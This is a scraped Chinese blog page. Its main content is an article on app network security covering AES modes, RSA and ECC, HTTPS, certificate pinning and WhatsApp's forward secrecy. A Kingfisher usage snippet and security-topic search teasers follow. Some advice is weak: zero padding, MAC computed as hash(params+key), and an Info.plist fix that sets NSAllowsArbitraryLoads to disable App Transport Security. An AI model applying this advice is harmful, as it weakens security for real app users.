    后来陆陆续续有一些针对DES破解的攻防战,DES最终演化成Triple DES的形态,不过在性能上已经出现明显问题,催生了今天对称加密的王者算法AES。AES在安全性,实现难度,运算性能上都有更好的表现。在全面了解AES之前,首先明确下好的加密算法必须符合哪些条件,这些条件是经过数十年加密破解攻防战所总结出来的。

    • 条件一,Confusion。对原文以最小的粒度(按字节)进行混淆生成秘文。最简单的confusion可以是A+3=D.
    • 条件二,Deffusion。对原文所包含的位置信息进行打乱排布,比如将第一个字节与第四个字节的位置对换.
    • 条件三,Secret Key。最终的秘文与Secret Key相关,只要持有Secret Key就可以对数据解密,将安全性的管理归于一个密钥的管理。

    AES也是属于Cipher Block的一种,对于数据的加密都是已block为单位进行处理。针对需要加密的数据AES会先把数据分成一个个的block,每个block为16字节,可以排布成4×4的表格(又名矩阵)。如下图所示:

    如果最后一块不足16字节,用0补齐(padding)。后续的加密行为都是以block为单位进行处理,这个处理过程必须满足上述所说三个条件。加密的流程如下图:

    每一个block都会被单独依次处理,橙色方框表示加密的过程,这个过程包括两个方面,一方面是block本身数据的运算处理,二是与round key(也就是我们所说的对称加密算法密钥)进行运算处理。流程示意图如下:

    每一个block会依次经过Confusion(条件一),Difussion(条件二),Mix Data(可以看作再一次的Confusion)。最后一步是和我们的round key进行位运算得到最后的block秘文,这样一个完整的来回称为一个round,重复10次round就完成了block加密,当然每个round当中所使用的round key也会发生变化,以保证每次block加密所使用的key都不同。

    针对每个block都重复上述处理过程就完成了AES加密过程,是不是so easy。当然这是被我高度抽象简化后的流程示意图,当中每一步都有很多的细节可以深入。密钥越长,每个block处理的round次数越多,AES就越安全,不过安全性和计算性能不可兼得,一般来说,我们使用128bit的Key就可以保证算法的安全性了。对了,解密的过程就是把上面加密的过程反过来做一遍。。

    阶段四:
    明白了AES的流程,还需要了解正确的使用姿势。AES有两个经典的使用姿势,ECB模式和CBC模式。ECB模式可以用下图表示:

    ECB模式很简单,就是针对每一个block单独进行AES运算,每个block的处理结果之间没有任何关系。使用这种方式单个block都是安全的,但对包含大量block的数据来说,没有能够隐藏data pattern,因为相同的原文会产生相同的秘文,这对图片文件来说比较致命:

    相同的色块产生相同的秘文,这样相同颜色在图片当中出现的规律就和原始数据一样一目了然。

    CBC模式针对ECB模式的缺陷做了处理,使得每个block的AES运算结果都依赖于之前的block秘文。如下图所示:

    每一个block在加密之前都会与上个block产生的秘文进行抑或运算,这样相同的数据也会产生不同的秘文,data pattern得以隐藏。第一个block没有刻可以或处理的秘文,就传入一个IV(初始化向量)。很明显,IV不同,AES运算的结果也不同。

    非对称加密之RSA

    对称加密的安全性全系于加密密钥的管理,在非对称加密算法出现之前,如何动态的协商密钥一直是个难题,大部分的应用场景都是采用通信双方通过其他手段预先交流密钥的方式。一旦密钥泄漏,就会导致严重的安全事故。直到1976年Diffie Hellman算法出现解决了密钥协商的问题,1977年RSA诞生同时提供了密钥协商方案和电子签名方案。

    RSA的使用已经相当广泛,也有很多优秀的教程解释其原理,推荐其中一篇

    关于RSA这种非对称加密算法,在App的使用当中,需要明白其主要作用有2个:

    • 信息加密:通信双方可以在公开的网络环境下,“安全”的商量对称加密算法所使用的密钥。
    • 电子签名:为了防止中间人攻击,通信双方在商量密钥之前可以通过签名算法确认对方的身份。

    非对称加密算法本身是一种加密算法,但由于RSA本身加解密的性能在现在的计算机硬件条件下存在一定瓶颈,同时对加密数据的“安全长度”也有限制,被加密数据的长度一般要求不超过公钥的长度。所以RSA更多的是被用来商量一个密钥,如果密钥是安全的,那么后续的通信都可以使用上面提到的AES来完成,AES在性能上不存在瓶颈。

    RSA算法最经典也是最广泛的应用场景是HTTPS,HTTPS的安全握手流程完整的阐释了“加密”和“签名”这两个概念。推荐一篇文章详细的分析HTTPS的握手流程。

    RSA有另一个竞争者ECC,ECC现在使用也越来越广泛。二者在安全性上都不存在问题。不过ECC额外的优势,公钥私钥的生成速度快于RSA,在需要大量生产密钥对的业务场景下ECC会是更好的选择。ECC的最短安全公钥也比RSA要短的多,224bits的ECC公钥就已经足够安全,而同等级别的RSA公钥需要长达2048bits。RSA由于实现简单,出现较早,可以预见在很长一段时间内都将和ECC共存。

    App网络应用场景

    现在绝大部分的App都在使用http和https,少部分会有自己的tcp长连接通道,更少部分的app搭配udp通道或者类似QUIC这种reliable UDP协议来提升体验。不管是什么协议,只要涉及客户端和服务器的通信,就必然要实现类似https安全握手的流程,部分或者全部,开发者总是在性能和安全性之间取舍。有实力的大厂可以鱼与熊掌兼得,初创型企业往往会避开性能优化,直接跳过安全问题。

    使用http,不做任何加密相当于裸奔,初级工程师都可以轻易窥探你全部的业务数据。

    使用http,但所有的流量都通过预埋在客户端的key进行AES加密,流量基本安全,不过一旦客户端代码被反编译窃取key,又会回到裸奔状态。

    使用http,但AES使用的key通过客户端以GUID的方式临时生成,但为了保证key能安全的送达服务器,势必要使用服务器的公钥进行加密,所以要预埋服务器证书,又涉及到证书过期更新机制。而且无法动态协商使用的对称加密算法,安全性还是有暇疵。

    所以要做到真正的安全,最后还是会回归到https的流程上来,https在身份验证,密钥协商,解密算法选择,证书更新等方面都已经做了最合适的选择。

    对于App开发者来说,到底选择什么样的安全策略,是在全盘了解现有安全模型的前提下,在投入,产出,风险三者之间去平衡而做出最优的选择。

    App网络安全实战

    在App安全上的投入再多也不会过,不过安全问题上所投入的开发资源应该根据开发团队技术积累,产品发布deadline,用户规模及产品关注度等综合因素考量。结合这些因素我把App分为三类,各类App对安全级别的要求不同,投入产出也不同。

    第一类,作坊式创业App

    这些年伴随着移动互联网的创业潮,各式各样的app出现在用户的手机端。对于创业初期的团队来说,能把业务模型尽快实现上线当然是重中之重。但很多创业团队在安全上的投入几乎为零,所导致的安全问题比想象中的要严重。我见过不少使用http明文传输用户名密码的app,其中甚至包括一些知名传统企业。其实只要照顾到一些基础方面就能过滤掉大部分的安全漏洞了。这里提供一些小tip供创业初期团队参考:

    Tip 1:尽量使用https

    https可以过滤掉大部分的安全问题。https在证书申请,服务器配置,性能优化,客户端配置上都需要投入精力,所以缺乏安全意识的开发人员容易跳过https,或者拖到以后遇到问题再优化。https除了性能优化麻烦一些以外其他都比想象中的简单,如果没精力优化性能,至少在注册登录模块需要启用https,这部分业务对性能要求比较低。

    Tip 2:不要传输密码

    不知道现在还有多少app后台是明文存储密码的。无论客户端,server还是网络传输都要避免明文密码,要使用hash值。客户端不要做任何密码相关的存储,hash值也不行。存储token进行下一次的认证,而且token需要设置有效期,使用refresh token去申请新的token。

    Tip 3:Post并不比Get安全

    事实上,Post和Get一样不安全,都是明文。参数放在QueryString或者Body没任何安全上的差别。在Http的环境下,使用Post或者Get都需要做加密和签名处理。

    Tip 4:不要使用301跳转

    301跳转很容易被Http劫持攻击。移动端http使用301比桌面端更危险,用户看不到浏览器地址,无法察觉到被重定向到了其他地址。如果一定要使用,确保跳转发生在https的环境下,而且https做了证书绑定校验。

    Tip 5:http请求都带上MAC

    所有客户端发出的请求,无论是查询还是写操作,都带上MAC(Message Authentication Code)。MAC不但能保证请求没有被篡改(Integrity),还能保证请求确实来自你的合法客户端(Signing)。当然前提是你客户端的key没有被泄漏,如何保证客户端key的安全是另一个话题。MAC值的计算可以简单的处理为hash(request params+key)。带上MAC之后,服务器就可以过滤掉绝大部分的非法请求。MAC虽然带有签名的功能,和RSA证书的电子签名方式却不一样,原因是MAC签名和签名验证使用的是同一个key,而RSA是使用私钥签名,公钥验证,MAC的签名并不具备法律效应。

    Tip 6:http请求使用临时密钥

    高延迟的网络环境下,不经优化https的体验确实会明显不如http。在不具备https条件或对网络性能要求较高且缺乏https优化经验的场景下,http的流量也应该使用AES进行加密。AES的密钥可以由客户端来临时生成,不过这个临时的AES key需要使用服务器的公钥进行加密,确保只有自己的服务器才能解开这个请求的信息,当然服务器的response也需要使用同样的AES key进行加密。由于http的应用场景都是由客户端发起,服务器响应,所以这种由客户端单方生成密钥的方式可以一定程度上便捷的保证通信安全。

    Tip 7:AES使用CBC模式

    不要使用ECB模式,原因前面已经分析过,记得设置初始化向量,每个block加密之前要和上个block的秘文进行运算。

    第二类,正规军App

    All Traffic HTTPS

    全站使用HTTPS,而且是强制使用。baidu到今天(2016.04.13)还没有强制使用HTTPS。所有的流量都应该在HTTPS上产生,没有人可以决定哪些流量是可以不用考虑安全问题的。如果自建长连接使用tcp,udp或者其他网络协议,也应该实现类似HTTPS的密钥协商流程。

    Certificate Pinning

    RSA的签名机制虽然看着安全,一旦出现上游证书颁发机构私钥泄漏,或者签名流程发现漏洞等情况,中间人攻击还是会导致数据被第三方破解甚至被钓鱼。Certificate Pinning是一种与服务器证书强绑定的机制,要么绑定证书本身,需要证书更新机制配合加强安全性,要么使用私钥绑定,这样更新证书的时候只要保证私钥不变即可。现在流行的HTTP framework,iOS端如AFNetworking,Android端如OKHttp都支持Certificate Pinning。

    Perfect Forward Secrecy

    很多人会觉得非对称加密算法足够安全,只要使用了RSA或者AES,加密过后的数据就认为安全。但没有绝对的安全,无论是RSA或者AES算法本身都有可能在未来某一天被破解,正如当年的DES,甚至有传言NSA正如当年掌握了differential cryptanalysis一样,现在已经获取了某种方法来破解当前互联网当中的部分网络流量,至于到底是RSA还是AES就不得而知了。

    未来计算机的计算能力是个未知数,或许某一天brute force能够暴力破解的密钥长度会远超128bits(现阶段上限应该在80bits)。

    2014年1月3日,美国国家安全局(NSA)正在研发一款用于破解加密技术的量子计算机,希望破解几乎所有类型的加密技术。

    即使算法本身没有被破解,密钥也有可能被泄漏,技术上的原因或者政策上的因素都可能导致RSA或者ECC的私钥被泄漏。所以尽可能针对不同的session使用不同的key能够使的我们的数据更佳安全。

    Forward Secrecy就是为了避免某个私钥的泄漏或者被破解而导致历史数据一起泄漏。现在google的https配置所使用的是TLS_ECDHE_RSA算法,每次对称密钥的协商都是使用ECC生成临时的公钥私钥对(之前提到过ECC在快速生成密钥对上有优势),身份验证使用RSA算法进行签名。

    每天跟踪信息安全动态

    安全的攻防战不会有穷尽的一天,算法的更替会伴随着人类对知识的无尽渴望延绵至不可预知的未来。AES说不定哪天被破解了,openSSL可能又出现新的漏洞了,google又提倡新的安全模型了,NSA的量子计算机说不准已经在悄悄解密google的流量了,每天跟踪八卦最新业界动态才是码农避免因bug而背黑锅的不二法宝。

    第三类,带节操正规军App

    现在互联网早已渗入每个人的平常生活当中,当我们的行为越来越多的迁移到互联网这个媒介当中之后,行为本身及所产生的关联数据都将被滴水不漏的记录起来,特别是在大数据研究兴起的当下,服务提供商总是希望尽可能多的记录用户所有的行为数据。每个互联网产品的使用者都成了样本,你的购物记录,商品浏览历史,搜索引擎搜索记录,打车记录,租房记录,股票记录,甚至聊天记录等等都是样本,毫不夸张的说,如果将淘宝,微信,支付宝,快滴,美团等等高频次产品数据统一分析,基本上可以将你的身高,性别,年龄,三维,家庭住址,恋爱史,家庭成员,甚至是个人喜好,性格等等完美的呈现出来,其后果远不是一个骚扰电话带来的隐私泄漏那么简单。

    移动互联网的大部分使用者还不具备强烈的安全意识,当你用手机号作为登录id方便记忆的同时,骚扰电话就可能随时来临,你在百度输入租房关键字,下一秒中介就已经电话打上门。当你允许app上传通讯录匹配可能认识的好友同时,你认识哪些人就变得一清二楚,你p2p借贷未及时归还时,你的亲朋好友第二天就收到了催债电话。我们在享受移动互联网的便利同时,付出的是个人隐私这种隐形成本。下一次,当我们感叹新app好用便利的同时,静思三分钟,好好想想我们的哪些隐私又被当白菜卖了。

    在互联网受众的安全意识普遍觉醒之前,只能靠app开发商,服务提供商的节操来保证用户信息隐私安全。

    带节操的App在打算记录用户行为或者数据之前会考虑下是不是真的有需要,用户的确会有需要查询历史购买记录,但有多少人会在意自己几年前花几个小时浏览了杜蕾斯的产品。

    服务器作为数据存储或者转发的媒介是不是真的需要了解真实的数据为何?现在WhatsApp,Telegram都已经支持端到端的加密聊天方式,服务器本身看到的都是秘文,只做秘文转发处理,带着这样的节操设计产品,用户才会觉得安全。

    WhatsApp的端到端加密安全模型是怎么样实现的呢?非常值得学习。

    简单来说是严格遵循forward secrecy。每个用户在注册成功之后会在服务器存一对永久的Identity Key,一对临时的Signed Pre Key(Signed Pre Key由Identity Key签名,每隔一段时间变化一次),n对临时的One-Time Pre Key(每次建立session消耗一个)。

    每次session开始建立的时候使用Identity Key,Signed Pre Key, One Time Key生成Master Secret。Master Secret再通过HKDF算法生成对称加密使用的Root Key,Chain Key,Message Key。

    Forward Secrecy体现在每次sender发送的消息被ack后,都会交换新的临时ECC Key对,并更新Root Key,Chain Key,Message Key。这样网络中的流量即使被第三方缓存起来,而且某一天某个Key Pair的私钥被破解,也不会对之前的流量产生安全影响。ECC Key对会随着消息的发送不停的“Ratcheting”。这是属于非对称加密的Forward Secrecy。

    在sender的消息被ack之前,也就是新的ECC Key对交换成功之前,Message Key也会通过HKDF算法不停的“Ratcheting”,确保每条消息所使用的对称密钥也不相同。这是属于对称加密的Forward Secrecy。

    有兴趣深入了解的同学可以自己google:WhatsApp Security WhitePaper。

    展开全文
  • Kingfisher的下载地址:...简单的使用方法:let url = URL(string: "url_of_your_image") imageView.kf.setImage(with: url) 带有缓存图片的 _imageView.kf.setImage(with: "url_of_your_image", plac

    Kingfisher的下载地址:https://github.com/onevcat/Kingfisher
    简单的使用方法:

    let url = URL(string: "url_of_your_image")
    imageView.kf.setImage(with: url)
    带有缓存图片的
    _imageView.kf.setImage(with: "url_of_your_image", placeholder: nil, options: nil, progressBlock: nil, completionHandler: { (image, error, nil, imageURL) in
                   //下载完成需要进行的操作
                })
    

    在使用过程中 遇到一些麻烦,我使用上面两个方法在百度上找了一个图片的网址,但是发现并没有把图片下载下来,进过一系列的查找原因,发现图片网址是“https”开头的就行,而“http”开头的确不行,看下控制台信息好像是安全之类的问题,在网上找到了结局的方法:
    在info.plist里加上下面这段

    <dict>
        <key>NSAllowsArbitraryLoads</key>
        <true/>
    </dict>
    </plist>
    
    或者 去配置一个Dictionary类型的NSAppTransportSecurity 子item是Boolean类型NSAllowsArbitraryLoads value是YES

    这下就完成了。就可以下载了

    展开全文
  • 网络安全面试题

    万次阅读 多人点赞 2019-02-12 15:42:14
    在当今社会网络安全行业越来越发达,也有越来越多的人去学习,为了更好地进行工作,除了学好知识外还要应对企业的面试。 所以在这里我归总了一些网络安全方面的常见面试题,希望对大家有所帮助。 windows常见 ...
  • 前端与网络安全

    千次阅读 2018-10-31 20:25:15
    前端与网络安全 前端工作中存在的网络安全问题: 1、SQL injection——SQL注入 2、XSS 3、CFRS 预防方式: 1、动态界面,用户输入的情况可能存在安全问题; 2、对于用户提交的表单,前端可以进行验证,使用正则...
  • APP-细说APP网络深度优化与网络安全

    千次阅读 2020-01-20 16:50:03
    前言 本篇博文主要讲啥???- 网络优化!!! 网络优化有哪些点?...- 流量、质量、速度、安全!!! 为什么要网络优化???- 闲的蛋疼!!! 流量 流量对于大部分用户来说还是比较敏感的 ...
  • 这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了木马病毒提权技术,包括进程访问令牌权限提升和Bypass UAC。这篇文章将复现CVE-...
  • 联合发布了一篇题为《恶意使用人工智能:预测、预防和缓解》的报告,就世界范围内人工智能技术的恶意使用进行了综述,其中也重点提及了AI在网络安全方面的恶意使用问题。双刃剑人工智能可以代替人类执行数据分析任务...
  • 无线网络安全技术基础

    千次阅读 2019-09-25 15:54:34
    无线网络安全主要有访问控制和数据加密,访问控制保证机密数据只能由授权用户访问,而数据加密则要求发送的数据只能被授权用户所接受和使用。 无线网络在数据传输时以微波进行辐射传播,只要在无线接入点AP(Access ...
  • 【计算机网络】第七章:网络安全

    千次阅读 2020-08-05 16:03:37
    【计算机网络】第七章:网络安全 目录 网络安全问题概述 1.1.计算机网络面临的安全性威胁 1.2.被动攻击和主动攻击 1.3.计算机网络通信安全的目标 1.4.恶意程序(rogue program) 1.5.计算机网络安全的内容 1.6...
  • 网络安全测评

    万次阅读 2018-09-23 22:14:24
    网络安全测评 原创: 计算机与网络安全 计算机与网络安全 4天前 一次性进群,长期免费索取教程,没有付费教程。 教程列表见微信公众号底部菜单 进微信群回复公众号:微信群;QQ群:16004488 微信公众号:计算机与...
  • 这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了Easy_unserialize解题思路,详细分享文件上传漏洞、冰蝎蚁剑用法、反序列化phar...
  • 使用kindeitor的时候,我们往往在使用图片功能的时候,包含两个部分,网络图片功能和本地上传功能,本文就告诉你如何隐藏网络图片功能,只保存本地上传功能。  假如你想减轻服务器的,我们还可以在本地上传的时候...
  • Horse Clip-Clop A strange filesystem is recovered from a damaged old ...使用winhex打开,查看的时候发现png 然后通过搜索发现有两张这种图片。 首先提取出一张这样的图片: 开头:89504E47 结尾选择...
  • 1. 通过Wireshark网络取证 Wireshark既然可以解析网络中的各种数据流量,那么通过网络传输协议,例如ftp协议传输的文件数据wireshark也可以对其解析,本质上FTP协议是基于传输层TCP协议的,并且一个完整的文件会...
  • 网络安全大实验

    千次阅读 多人点赞 2021-06-03 18:50:57
    网络安全大试验 只提供思路,不提供flag哦~ 文章目录网络安全大试验准备工作1 导入靶机2 扫描10.91.92.158flag1flag2法1法2flag3flag4法1法2flag5 准备工作 1 导入靶机 在老师硬盘里/群文件下载大作业靶机压缩包,...
  • 回顾2019年,网络新技术新应用继续在网络安全领域大施拳脚,其中人工智能、区块链、量子信息技术对网络安全的两面性影响随着技术的发展呈现出新的特点;第五代移动通信技术(5G)、物联网、边缘计算与雾计算等技术...
  • 但是,随着OCR技术发展,互联网第一道“门”的安全面临全新挑战。 2018年1月,Google官网正式宣布,将在2018年3月31日停止全球图片验证码服务。而根据全球最大的域名注册局威瑞信公布的最新行业报告显示,全球注册...
  • ctf 网络安全比赛简介

    万次阅读 多人点赞 2019-11-13 11:30:09
    CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的...
  • 2019中国信息安全自主可控行业政策盘点及网络安全行业分析一、盘点中国信息安全自主可控行业政策法规二、中国网络安全行业产品分类全景图**三、国产化信息技术网络安全自主可控行业现状深度剖析****1、信息战凸显...
  • 标签,就可以解决页面加载网络图片的问题,原因大概是网络安全的问题,别人的页面做了安全防护的问题。&lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;meta name="viewport&...
  • 网络空间安全导论

    千次阅读 2020-01-09 10:01:53
    网络空间安全导论 看书的时候基本都记每段第一句,让我想起了高中背政治的感觉。 本来以为措施啊机遇啊挑战啊是不会考的,结果还真的考了…更像政治了 零、概述 1. 常见安全问题 1. 网络设备威胁 2. 操作系统威胁 3....
  • Quark网络安全 1、概念  拒绝服务攻击(Denial Of Service, DoS)是指攻击者向目标主机发送数量众多的攻击数据包,消耗目标计算机大量的网络带宽和计算机资源,使得目标主机没有生育带宽和资源给...
  • 什么是网络安全

    千次阅读 2014-04-11 14:06:32
    网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的原因而遭受到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。 网络安全包含网络设备安全网络信息安全网络软件...
  • 很多包含网络图片查看功能的应用中,都实现了保存网络图片到本地的功能。在查看大图时,可以通过长按或按钮来保存图片。 本文描述将一个Bitmap对象保存为一个图片文件的主要步骤。保存的图片文件能够立刻在系统相册...
  • 网络安全——信息收集

    千次阅读 2020-02-02 13:12:48
    利用搜索引擎收集信息: 常用的GoogleHacking语法: intext:把网页中的正文内容中的某个字符作为搜索条件 intitle:把网页标题中的某个字符作为搜索条件 cache:搜素引擎里关于某些内容的缓存,可能会在过期内容...
  • B站 - 黑客攻防 入门到入狱 [网络安全] -笔记

    万次阅读 多人点赞 2020-06-18 16:12:13
    安全模式下,上传任意类型文件,文件不大限制 实验二: 中安全模式下,绕过类型上传文件(文件MIME类型) 修改浏览器代理为BurpSuite的代理 通过BurpSuite修改Content-Type的信息,改为 image/JPEG 实验二实现原理...
  • 网络安全基础命令

    千次阅读 2004-10-14 14:59:00
    网络安全基础命令 文/heiyeluren想学会网络安全,就必须学会基本的网络常用命令,才能更好的去掌握网络,保护自己的系统,防止入侵。我们必须学会的基本的网络命令主要是基于Windows NT平台下的基本命令,

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 217,184
精华内容 86,873
关键字:

安全利用网络图片